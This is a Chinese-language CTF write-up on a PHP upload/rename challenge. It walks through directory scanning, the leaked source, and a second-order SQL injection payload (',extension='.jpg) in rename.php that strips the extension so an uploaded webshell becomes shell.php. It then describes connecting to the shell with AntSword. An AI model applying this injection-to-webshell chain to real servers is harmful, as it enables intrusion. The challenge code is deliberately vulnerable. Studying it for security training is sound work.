image.png
    dirsearch扫描目录,

    1. [15:59:14] Starting:
    2. [15:59:15] 200 - 523B - /js
    3. [15:59:15] 200 - 523B - /php
    4. [15:59:22] 200 - 523B - /adminphp
    5. [15:59:22] 200 - 523B - /adminjs
    6. [15:59:24] 200 - 523B - /admin_js
    7. [15:59:30] 200 - 409B - /delete.php
    8. [15:59:33] 200 - 523B - /index.php
    9. [15:59:35] 200 - 523B - /myadminjs
    10. [15:59:35] 200 - 523B - /myadminphp
    11. [15:59:36] 200 - 523B - /opa-debug-js
    12. [15:59:41] 301 - 185B - /upload -> http://111.200.241.244/upload/
    13. [15:59:41] 403 - 571B - /upload/
    14. [15:59:41] 200 - 0B - /upload.php
    15. [15:59:43] 200 - 2KB - /www.tar.gz

    看到www.tar.gz,将其下载下来,解压后得到网站源码。
    index.php:

    1. <?php
    2. /**
    3. * Created by PhpStorm.
    4. * User: phithon
    5. * Date: 15/10/14
    6. * Time: 下午7:46
    7. */
    8. ?>
    9. <!DOCTYPE html>
    10. <html>
    11. <head>
    12. <title>file manage</title>
    13. <base href="./">
    14. <meta charset="utf-8" />
    15. </head>
    16. <body>
    17. <h3>Control</h3>
    18. <ul style="list-style: none;">
    19. <li><a href="./delete.php">Delete file</a></li>
    20. <li><a href="./rename.php">Rename file</a></li>
    21. </ul>
    22. <h3>Content</h3>
    23. <form action="./upload.php" method="post" enctype="multipart/form-data">
    24. <input type="file" name="upfile">
    25. <input type="submit" value="upload file">
    26. </form>
    27. </body>
    28. </html>

    简单的html,没有漏洞
    upload.php:

    1. <?php
    2. /**
    3. * Created by PhpStorm.
    4. * User: phithon
    5. * Date: 15/10/14
    6. * Time: 下午8:45
    7. */
    8. require_once "common.inc.php";
    9. if ($_FILES) {
    10. $file = $_FILES["upfile"];
    11. if ($file["error"] == UPLOAD_ERR_OK) {
    12. $name = basename($file["name"]);
    13. $path_parts = pathinfo($name);
    14. if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
    15. exit("error extension");
    16. }
    17. $path_parts["extension"] = "." . $path_parts["extension"];
    18. $name = $path_parts["filename"] . $path_parts["extension"];
    19. // $path_parts["filename"] = $db->quote($path_parts["filename"]);
    20. // Fix
    21. $path_parts['filename'] = addslashes($path_parts['filename']);
    22. $sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
    23. $fetch = $db->query($sql);
    24. if ($fetch->num_rows > 0) {
    25. exit("file is exists");
    26. }
    27. if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
    28. $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
    29. $re = $db->query($sql);
    30. if (!$re) {
    31. print_r($db->error);
    32. exit;
    33. }
    34. $url = "/" . UPLOAD_DIR . $name;
    35. echo "Your file is upload, url:
    36. <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
    37. <a href=\"/\">go back</a>";
    38. } else {
    39. exit("upload error");
    40. }
    41. } else {
    42. print_r(error_get_last());
    43. exit;
    44. }
    45. }

    上传文件源码,虽然有sql操作,但是都过滤了。
    delete.php

    1. <?php
    2. /**
    3. * Created by PhpStorm.
    4. * User: phithon
    5. * Date: 15/10/14
    6. * Time: 下午9:39
    7. */
    8. require_once "common.inc.php";
    9. if(isset($req['filename'])) {
    10. $result = $db->query("select * from `file` where `filename`='{$req['filename']}'");
    11. if ($result->num_rows>0){
    12. $result = $result->fetch_assoc();
    13. }
    14. $filename = UPLOAD_DIR . $result["filename"] . $result["extension"];
    15. if ($result && file_exists($filename)) {
    16. $db->query('delete from `file` where `fid`=' . $result["fid"]);
    17. unlink($filename);
    18. redirect("/");
    19. }
    20. }
    21. ?>
    22. <!DOCTYPE html>
    23. <html>
    24. <head>
    25. <title>file manage</title>
    26. <base href="/">
    27. <meta charset="utf-8" />
    28. </head>
    29. <h3>Delete file</h3>
    30. <body>
    31. <form method="post">
    32. <p>
    33. <span>delete filename(exclude extension):</span>
    34. <input type="text" name="filename">
    35. </p>
    36. <p>
    37. <input type="submit" value="delete">
    38. </p>
    39. </form>
    40. </body>
    41. </html>

    也是该过滤的都过滤了,没有漏洞
    rename.php

    1. <?php
    2. /**
    3. * Created by PhpStorm.
    4. * User: phithon
    5. * Date: 15/10/14
    6. * Time: 下午9:39
    7. */
    8. require_once "common.inc.php";
    9. if (isset($req['oldname']) && isset($req['newname'])) {
    10. $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
    11. if ($result->num_rows > 0) {
    12. $result = $result->fetch_assoc();
    13. } else {
    14. exit("old file doesn't exists!");
    15. }
    16. if ($result) {
    17. $req['newname'] = basename($req['newname']);
    18. $re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
    19. if (!$re) {
    20. print_r($db->error);
    21. exit;
    22. }
    23. $oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
    24. $newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
    25. if (file_exists($oldname)) {
    26. rename($oldname, $newname);
    27. }
    28. $url = "/" . $newname;
    29. echo "Your file is rename, url:
    30. <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
    31. <a href=\"/\">go back</a>";
    32. }
    33. }
    34. ?>
    35. <!DOCTYPE html>
    36. <html>
    37. <head>
    38. <title>file manage</title>
    39. <base href="/">
    40. <meta charset="utf-8" />
    41. </head>
    42. <h3>Rename</h3>
    43. <body>
    44. <form method="post">
    45. <p>
    46. <span>old filename(exclude extension):</span>
    47. <input type="text" name="oldname">
    48. </p>
    49. <p>
    50. <span>new filename(exclude extension):</span>
    51. <input type="text" name="newname">
    52. </p>
    53. <p>
    54. <input type="submit" value="rename">
    55. </p>
    56. </form>
    57. </body>
    58. </html>

    在第22行的更新操作中,问题出现了。语句将数据库中的查询到的结果直接拿了出来,并没有过滤,而这就导致了二次注入漏洞。

    首先假设我们上传一个一句话木马,接着程序会将文件名和文件扩展名都存入数据库中

    1. +-----+-----------+---------+------+-----------+
    2. | fid | filename | oldname | view | extension |
    3. +-----+-----------+---------+------+-----------+
    4. | 11 | shell | | 0 | .jpg |
    5. +-----+-----------+---------+------+-----------+

    而rename功能,会将filename进行修改,而extension不会改变

    1. update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}

    修改完毕后会将数据库中的filename和extension拼接,使用rename函数来进行重命名。
    所以直接上传一个一句话木马,改成shell.php最后会变成shell.php.jpg的形式。那么只要想办法将extension给变成空就可以了,而正好,前面说了程序存在二次注入漏洞。所以构造文件名:',extension='.jpg即可。

    详细说下流程,首先上传',extension='.jpg,接着进入rename页面,触发二次注入漏洞,此时注入的语句为

    1. update `file` set `filename`='shell.jpg', `oldname`='',extension='' where `fid`=1

    之所以为什么不直接改成shell.php,是因为文件名以及扩展名的获取是在进行update操作之前获取的,所以即使数据库中的扩展名是空的,但是在进行rename操作时还是会被命名为shell.php.jpg
    所以当我们进行过一次rename操作后,数据库中的信息是下面这样的:

    1. +-----+-----------+---------+------+-----------+
    2. | fid | filename | oldname | view | extension |
    3. +-----+-----------+---------+------+-----------+
    4. | 1 | shell.jpg | | 0 | |
    5. +-----+-----------+---------+------+-----------+

    对应的upload目录中的文件是

    1. shell.jpg.jpg

    这样当然是不能解析成php的,但是数据库中的已经完成了,现在数据库中显示有一个文件名为shell.jpg,而扩展名为空的文件。所以我们在上传一个同名文件,并且rename成shell.php就可以了。
    上传一个shell.jpg后,数据库中是:

    1. +-----+-----------+---------+------+-----------+
    2. | fid | filename | oldname | view | extension |
    3. +-----+-----------+---------+------+-----------+
    4. | 1 | shell.jpg | | 0 | |
    5. +-----+-----------+---------+------+-----------+
    6. | 2 | shell | | 0 | jpg |
    7. +-----+-----------+---------+------+-----------+

    进入rename页面,将shell.jpg改为shell.php

    1. update `file` set `filename`='shell.jpg', `oldname`='shell.php' where `fid`=1

    然后使用蚁剑连接即可